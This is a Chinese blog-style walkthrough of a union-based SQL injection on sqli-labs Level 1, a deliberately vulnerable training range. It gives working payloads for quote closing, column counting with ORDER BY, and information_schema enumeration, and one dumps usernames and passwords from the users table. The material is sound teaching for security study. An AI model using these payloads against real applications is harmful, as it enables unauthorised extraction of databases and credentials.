sqli-labs靶场Level1 Union联合注入
数据库
源码
关卡1的功能是根据ID列的值查询相应的username和password字段信息,并显示
1 |
|
为了方便查看SQL的执行情况,可以将源码修改成如下的代码
1 |
|
漏洞点
php源码
需要注意的是闭合引号时,需要闭合的是里面的引号'
外面的引号"
是php中用来定义字符串的
在mysql执行语句时不会传入最外层的引号,所以不需要闭合
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
mysql语句
information_schema数据库使用
information_schema数据库在mysql 5.0之后才存在
tables表
information_schema中存在一个表tables,存储了所有数据库的所有表信息
可以利用其中的table_schema和table_name两个字段查询表信息
直接查看table_schema可以查看所有的数据库名,
1 | select table_schema from information_schema.tables |
因为会存在重复的数据,所以可以使用关键字distinct
去重
1 | select distinct table_schema from information_schema.tables |
使用group_concat()函数将结果整合成一行输出
1 | select group_concat(distinct table_schema) from information_schema.tables |
如果知道了数据库名后,可以根据表tables来查询出该数据库的所有表名
1 | select table_name from information_schema.tables where table_schema='security' |
因为查询出来的的数据是多条的,在大多数情况下需要整合成一个字符串进行输出
此时需要使用到group_concat函数,这样数据就可以合并在一起输出,并使用逗号隔开
1 | select group_concat(table_name) from information_schema.tables where table_schema='security' |
columns表
除了information_schema.tables表外,还有一个information_schema.columns表存储了所有的字段名,可以用来查询信息
查询所有库、指定库的所有表名既可以通过information_schema.tables,也可以通过information_schema_columns
1 | 查看所有库名 |
如果是需要查询指定库指定表的所有字段名时,只能通过information_schema_columns了
查询security库,users表的所有字段名
1 | select distinct column_name from information_schema.columns where table_schema='security' and table_name='users' |
schemata表
schemata可以拆开成schema和ta来记忆,ta是table缩写
查询所有的库名
1 | select group_concat(distinct schema_name) from information_schema.schemata |
查询指定数据库security
的编码方式
1 | select default_character_set_name from information_schema.schemata where schema_name='security' |
漏洞利用
闭合引号
用户输入的id值,可以传入$id变量,并在$sql变量中被调用,最终执行下方的sql语句
因为id参数是被引号括起来的,所以是字符型的SQL注入
1 | SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
如果要构造恶意的SQL语句,需要跳出引号
先传入一个单引号,看看执行结果
执行的SQL语句中,因为存在了奇数个的单引号,导致有一个引号没法闭合,从而报错
1 | SELECT * FROM users WHERE id='1'' LIMIT 0,1 |
报错的时候,无法执行我们的恶意代码
此时可以使用注释符,将末尾的语句注释
mysql中的注释符有三种,使用–时需要与注释的内容之间添加一个空格
注释符 | 使用 |
---|---|
# | #内容 |
– | – 内容 |
/**/ | /*内容*/ |
直接使用注释符的时候,不能通过URL传输过去,否则将会报错
在使用时需要将其URL编码,空格也需要进行URL编码,--
则不需要编码
在'
和注释符号之间就可以插入SQL语句并执行
1 | SELECT * FROM users WHERE id='1'恶意的SQL语句#' LIMIT 0,1 |
使用--
的时候也是一样的,只不过空格可以使用%20
也可以使用+
号替代
判断列数
因为直接在引号和注释符之间插入select语句时,无法回显内容
此时需要使用union或union all将原先的select结果和插入的select结果拼接到一起
而union的使用条件如下:
1 | 1. 两个select返回结果的类型需兼容 |
所以要想获取回显的内容,就需要判断原先的select的结果有几列
判断时可以使用order by 列数
,二分法进行判断
order by
是用来根据某列的结果,进行排序,如果不存在该列时就会报错
payload如下:
1 | 1' order by 列数--+ |
第一列存在
第十列不存在
第五列不存在
第三列存在
第四列不存在
所以可以判断出第一条的select语句返回的结果集列数为3列
构造union联合语句
所以我们可以构造一个select语句,使得该语句的返回结果集也为3列
1 | 1' union select 1,2,3--+ |
虽然成功执行了我们的select语句,但因为第一条select语句的返回结果已经占据了显示出来的两列数据
所以无法查看到我们的执行结果
如果要显示我们插入的select语句时,就需要让原本的select语句返回结果为空值
在数据库中可以看出查询的id值范围在[1,14]时,都是有结果的
所以我们只需要传入一个id的值,不在[1,14]的范围内,就可以显示第二条select的结果
payload如下:
1 | 0'union select 1,2,3--+ |
可以发现虽然是select了3个值,却只有2和3被显示了出来
这是因为第一列是id列,第二列的username,第三列是password
在php源码中,只获取了usernmae列和password列的值进行显示
现在我们就可以通过在第二列和第三列的位置插入一些恶意的SQL语句,从而获取语句的执行结果了
database()就是用来查询当前数据库名称的
1 | 0'union select 1,database(),database()--+ |
获取数据库基础信息
函数变量 | 作用 |
---|---|
version() | 获取数据库版本 |
connection_id() | 服务器的连接数 |
database() | 当前数据库名 |
user() | 当前用户 |
查询所有数据库库名
根据前几个步骤可以知道第二列和第三列可以返回内容
1 | 0'union select 1,查询语句,查询语句--+ |
所以可以直接通过information_schema库的tables表来查询所有的数据库名,或者是information_schema库的columns表
使用时不需要再添加一个select语句
1 | 0'union select 1,2,group_concat(distinct table_schema) from information_schema.tables--+ |
最后得到的数据库名如下
1 | challenges |
查询指定数据库所有表名
根据前几个步骤可以知道第二列和第三列可以返回内容
1 | 0'union select 1,查询语句,查询语句--+ |
假设我们需要查询security库的所有表名信息时,可通过information_schema.tables
或information_schema.columns
1 | 0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
最终得到security库的所有表名如下
1 | emails |
查询指定数据库指定表所有字段名
根据前几个步骤可以知道第二列和第三列可以返回内容
1 | 0'union select 1,查询语句,查询语句--+ |
此时因为information_schema.tables
没有存储字段的信息,所以只能通过information_schema.columns
来查询了
1 | 0'union select 1,2,group_concat(distinct column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ |
可以查询到security库的users表存在以下的字段
1 | id |
查询指定列信息
根据前几个步骤可以知道第二列和第三列可以返回内容
1 | 0'union select 1,查询语句,查询语句--+ |
因为库名、表名、字段名都已经获知了,所以不需要使用到information_schema数据库
使用下方的语句直接查询security库users表的id、password、username三个字段值
1 | 0'union select 1,2,group_concat(id,password,username) from security.users--+ |
因为一次性输出内容比较多,可以通过在group_concat函数中添加<br>
换行标签和空格调整一下格式输出
1 | 0'union select 1,2,group_concat("<br>",id," ",username," ",password,"<br>") from security.users limit 1--+ |
参考
https://blog.csdn.net/weixin_40594645/article/details/107835346
https://blog.csdn.net/hxhxhxhxx/article/details/107643024
https://blog.csdn.net/weixin_46544385/article/details/120563650